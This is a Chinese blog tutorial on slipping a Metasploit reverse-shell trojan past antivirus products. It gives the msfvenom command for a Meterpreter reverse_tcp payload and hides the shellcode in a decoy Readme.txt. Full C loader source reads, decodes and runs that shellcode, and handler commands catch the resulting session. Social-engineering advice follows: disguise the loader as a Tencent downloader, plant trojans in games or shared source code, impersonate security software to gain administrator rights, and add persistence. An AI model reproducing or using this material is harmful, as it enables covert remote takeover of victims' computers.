shellcode超级免杀
作者声明: 本文章属于作者原创,不能转载,违反网络安全法自己承担.这里只供学习使用.
日期: 2019-12-31
我试过了电脑管家,火绒安全,McAfee,360, 但只有360使用手动云查杀时木马才能查出来....,但是复制木马时检测不到
从2019-12-29日早上起,我向我的PE-tools工具里写了一个功能,就是shellcode注入功能,写好之后,发现虽然shellcode能注入,但是不能免杀,于是采用各种加密技巧,还是没能逃脱火绒,我绞尽脑汁的想,使用dll注入,dll注入虽然能逃脱免杀,payload反弹时,可是不能交互了.我就采用一种更笨的方法,就是程序运行时加载一下shellcode文件,试了一下成功免杀.好废话不多说,咱们开始!!!!
效果图
演示:
环境
Kali (攻击机)
Win10 (受害机 且安装有各种杀毒软件)
WinXp (辅助机,只是用来编译源码的)
如何免杀
免杀效果其实很简单,就是程序启动后加载文件动态运行里面写好的shellcode即可.
而且还方便替换shellcode不用编译,直接替换文本文件内容即可,且还可以伪装为Readme.txt文件
可以向Readme.txt乱填入一些声明,将shellcode进行排版,以防被发现..
可以借助一些软件进行编译你的加载器,修改图标即大小,让对方毫无怀疑...
生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c
lhost后面就是我本地的ip, lport后面时指定的一个端口号.指定好之后,会生成shellcode如下图:
将生成的shellcode复制粘贴到一个文件里,你也可以直接使用
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c > a.txt
那shellcode放在了a.txt文件中了,代开看也更上图一模一样.
写入shellcode:
得到shellcode之后,我先进行操作,涉及到加载器的源码,我会把它放在末尾来说:
使用我已经编译后的一个仿真电脑管家下载器,如图:
一个文件是模拟电脑管家下载器的一个软件,是我编译好的一个文件,后面我会讲它的简单原理与制作
另一个 Readme.txt就是我们放置shellcode的文件
我向Readme.txt里写入了一些东西,可以让下载的人这东西只是用来声明的,如图
使劲回车,然后将自己的shellcode复制到该文件.
这里我把shellcode藏在了该文件的底部,一般人它也只读前面,后面不会看,看到了也不知道那是啥玩意..
复制好之后,想方设法将这两个文件仍到你的目标,有很多方法,就不多说了..
实施攻击:
假如对方已经拿到了,该软件,如图:
从这里可以知道,静态的反杀已经OK,昨天使用的各种加密手段,还是没能逃脱火绒的魔抓,这个方法还可以,看一下Readme.txt
往下拉看一下shellcode:
如果觉得shellcode太显眼,你可以对它进行base64加解密就行.
在kali中输入 msfconsole
进入之后如图:
依次输入以下命令
#msf5> use exploit/multi/handler
#msf5> set payload windows/meterpreter/reverse_tcp
#msf5> set lhost ip (这里填你的攻击机上的ip)
#msf5> set lport port (这里填生成shellcode时的端口)
#msf5> exploit -j (后台监听)
如图:
当对方点击QQPCDownload运行时即可得到shell.
看到了一个session 开启了输入 session -i 1 (1就是开启号) 进行交互.输入sysinfo
咱们使用火绒来边扫描边控制吧...
可以看到,完全杀不到.....好了演示结束,接下来就是讲讲加载器咋写吧.
加载器咋写:
加载器也就太简单了,fopen, fread,fclose... 等等基础C语言函数 OK,先讲一下原理
在程序执行时候才加载文本文件,获取文本文件之后,需要对文本文件进行转换为内存中真正的shellcode.
然后再使程序跳到那个地方即可.下面为vc6 c语言源代码:
#include "windows.h"
#include
#include
unsigned char Shell_Code[0x1000]; //shellcode执行区域
int __cdecl GetDownload();
int ASCII_Hex_To_Int(char hex);
int APIENTRY WinMain(HINSTANCE hInstance, // 程序入口
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
GetDownload(); //调用shellcode 函数
return 0;
}
int __cdecl GetDownload()
{
int size = sizeof(Shell_Code);
char Sh_File_Path[128] = "Readme.txt"; //打开的文件,你也可以自己修改
int i = 0;
void (__cdecl *sh)(void); //准备执行的shellcode
FILE* Shell_Code_File = NULL; //加载文本文件的文件指针
unsigned char * Code_Ptr = NULL;
unsigned int Shell_Code_Size = 0; //shellcode 文件的大小
unsigned int Tem_I = 0;
unsigned int Tem_S = 0;
unsigned char Code_Num_Ch1 = 0;
unsigned char Code_Num_Ch2 = 0;
unsigned char Code_Num = 0;
if(!( Shell_Code_File=fopen(Sh_File_Path,"r" )))
{
MessageBox(0,"Mssing Readme.txt!!!","Warning", 0);
return 0;
}
fseek(Shell_Code_File,0,SEEK_END);
Shell_Code_Size = ftell(Shell_Code_File); //获取文件大小
fseek(Shell_Code_File,0,SEEK_SET);
Code_Ptr = (unsigned char *)malloc(Shell_Code_Size);
memset(Code_Ptr, 0, Shell_Code_Size); //设置开辟的内存为0
fread(Code_Ptr, 1, Shell_Code_Size, Shell_Code_File); //从文件读取内容到内存中
fclose(Shell_Code_File);
//对加载后的文本文件进行处理,转化为内存真正的shellcode
while(Tem_I < Shell_Code_Size)
{
if((Code_Ptr[Tem_I] == '\\') && ((Code_Ptr[Tem_I+1] == 'x')||(Code_Ptr[Tem_I+1]== 'X')) )
{
Code_Num_Ch1 = ASCII_Hex_To_Int(Code_Ptr[Tem_I+2]);
Code_Num_Ch2 = ASCII_Hex_To_Int(Code_Ptr[Tem_I+3]);
Code_Num = Code_Num_Ch1 * 0x10 + Code_Num_Ch2;
Shell_Code[Tem_S] = Code_Num;
Tem_I += 4;
Tem_S ++;
}else
{
Tem_I += 1;
}
}
sh = (void (__cdecl *)(void))&Shell_Code; //获取shellcode地址赋给函数指针
sh(); //执行 shellcode
return 0;
}
int ASCII_Hex_To_Int(char hex) //这个函数的功能就是将字符型转化为内存存储的值
{
int num = 0;
if(hex == 'F' || hex == 'f')
{
num = 0xF;
}else if(hex == 'E' || hex == 'e')
{
num = 0xE;
}else if(hex == 'D' || hex == 'd')
{
num = 0xD;
}else if(hex == 'C' || hex == 'c')
{
num = 0xC;
}else if(hex == 'B' || hex == 'b')
{
num = 0xB;
}else if(hex == 'A' || hex == 'a')
{
num = 0xA;
}else if(hex == '9')
{
num = 0x9;
}else if(hex == '8')
{
num = 0x8;
}else if(hex == '7')
{
num = 0x7;
}else if(hex == '6')
{
num = 0x6;
}else if(hex == '5')
{
num = 0x5;
}else if(hex == '4')
{
num = 0x4;
}else if(hex == '3')
{
num = 0x3;
}else if(hex == '2')
{
num = 0x2;
}else if(hex == '1')
{
num = 0x1;
}else if(hex == '0')
{
num = 0x0;
}
return num;
}
伪装
可以使用,extraicohs工具提取任意一个exe文件的图标,提取之后,在vc6中添加图标进行编译
然后再使用我开发的一个工具调整一下加载器的大小.
我做了几个游戏,游戏里就包含了木马,然对方直接不知道这个有病毒.还有一种方式更加伪装.
分享啥啥源码,比如我做的一个贪吃蛇游戏,若对方得到源码,只要对方编译运行,即可中招..
为了安全着想,我不分享我做的木马....,但原理我已经说了,十分简单..
可以提取如图:
使用Pe_tools增加大小, 如图:
写入到c盘,若为win10电脑,写入到其他磁盘.
实现可以控制任意一台中木马的电脑.
买一个服务器,选择debian,然后安装metasploit框架,既可以实现控制任意一台中木马的电脑....
如何获取管理员权限
侵入对方后,看一下他的安全软件,然后使用木马冒充安全软件,在开发木马时,设置一下运行的权限为管理员即可
然后运行该木马,这时就会出现一个管理员权限的请求,一般情况下,用户都很信任安全软件获取管理员权限,则点击是.
然后c盘随你玩了
如何设置后门
要想实现长期控制,就得给对方上传开机自的木马...,我已经做好了,且根据对方的杀毒软件做的一个白加黑.
杀毒软件和使用者毫无察觉,为了不让自己进局子,我不会发给别人..
源码下载 + 测试文件:
实验工具下载: https://files-cdn.cnblogs.com/files/lyxf/exploit.zip